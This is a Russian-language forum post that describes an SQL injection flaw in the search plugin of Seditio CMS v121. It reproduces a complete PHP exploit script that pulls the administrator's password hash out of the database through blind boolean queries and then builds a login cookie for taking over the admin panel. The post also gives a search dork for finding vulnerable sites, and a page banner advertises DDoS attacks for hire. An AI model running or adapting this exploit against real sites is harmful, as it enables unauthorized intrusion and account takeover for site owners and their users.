Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Seditio CMS v121


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
ENFIX

ENFIX

    `N370KR47`

  • Members
  • PipPip
  • 152 сообщений
Software site: http://neocrome.net/
Bugtraq ID: 26655 (http://www.securityfocus.com/bid/26655)

http://www.neocrome.ru/page.php?id=315
http://www.securityl...;country=Russia

Уязвимость заключается в недостаточной обработке входных данных (массив pag_sub[]) в плагине поиска (/plugins/search/search.php), что ведет к SQL-инъекции. Данный эксплоит подбирает хэш админа из таблицы sed_users. Кроме того, если администратор сайта использует автоматический вход, то для доступа к админке расшифровывать хэш не придется: просто заходим на сайт с куками, которые выдаст эксплоит. Для удачной эксплуатации на сервере с уязвимой CMS должны быть выключены магические кавычки, а также версия MySQL >= 4.1.

<!--?php
## Seditio CMS <= 121 Remote SQL Injection Exploit
## Software site&#58; http&#58;//www.neocrome.net/
## By InATeam &#40;http&#58;//inattack.ru/&#41;
## Requirements&#58; MySQL -->= 4.1, magic_quotes_gpc=Off

echo "------------------------------------------------------------\n";
echo "Seditio CMS <= 121 Remote SQL Injection Exploit\n";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "dork: \"Powered by Seditio\"\n";
echo "------------------------------------------------------------\n";

if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] OPTIONS\n\n";
echo "[url]		- target server where Seditio CMS is installed\n\n";
echo "OPTIONS:\n";
echo "-p=<prefix>  - use specific prefix (default sed_)\n";
echo "-id=<id>	 - use specific user id (default 1)\n\n";
echo "examples:\n";
echo "php {$argv[0]} http://site.com/ -p=cms_\n";
echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
	if(strpos($argv[$i],"=")!==false) {
		$exploded=explode("=",$argv[$i]);
		if ($exploded[0]=='-p') $prefix = $exploded[1];
		if ($exploded[0]=='-id') $id = $exploded[1];
	}
}
if (!isset($prefix)) $prefix = "sed_";
if (!isset($id)) $id = 1;
$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
print("[~] Connecting... ");
if (!getchar("<1",$i,false)) print("OK\n");
else die("\n[-] Exploit failed\n");
print("	Getting hash...");
$hash='';
for ($i=1; $i<=32; $i++) {
	if (!getchar(">57",$i)) {
		$min = 48;
		$max = 57;		
	}
	else {
		$min = 97;
		$max = 102;		
	}
	for($j=$min;$j<=$max;$j++) {
		if (getchar("+LIKE+$j",$i)) {
			$hash .= chr($j);
			break;
		}
	}
}
print("[+] Done! hash - $hash\n");
print("[+] Cookie to log in: \nSEDITIO=".base64_encode($id.":_:".$hash.":_:ice")."\n");

function getchar($query,$pos,$status=true){
	global $host,$path,$prefix,$id;
	if ($status) status();
	$data = "sq=InATeam&frm_sub%5B%5D=9999&sea_frmtitle=1&sea_frmtext=1&sea_pagtitle=1";
	$data.= "&sea_pagdesc=1&sea_pagtext=1&searchin_pag=1&pag_sub%5B%5D=qwerty')";
	$data.= "+AND+1=IF(ORD(MID((SELECT+user_password+FROM+{$prefix}users+WHERE";
	$data.= "+user_id={$id}),{$pos},1)){$query},1,(SELECT+1+UNION+SELECT+5))/*&x=GUEST";
	
	$packet  = "POST {$path}plug.php?e=search&a=search HTTP/1.1\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Referer: http://{$host}{$path}plug.php?e=search&a=search\r\n";
	$packet .= "User-Agent: InAttack User Agent\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet .= "Content-Length: ".strlen($data)."\r\n";
	$packet .= "Connection: Close\r\n\r\n";
	$packet .= $data;
	return (strpos(send($packet),'Subquery returns more than 1 row')===false) ? true : false;
}

function send($packet) {
	global $host,$port;
	$ock = fsockopen(gethostbyname($host),$port);
	if ($ock) {
		fputs($ock, $packet);
		$html='';
		while (!feof($ock)) $html.=fgets($ock);
	}
	else die("[-] Exploit failed\n");
	return $html;
}

function status() {
	static $n;
	$n++;
	if ($n > 3) $n = 0;
	if($n==0){ print "\r[-]\r"; }
	if($n==1){ print "\r[\\]\r";}
	if($n==2){ print "\r[|]\r"; }
	if($n==3){ print "\r[/]\r"; }
}
?>
</id></prefix>


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных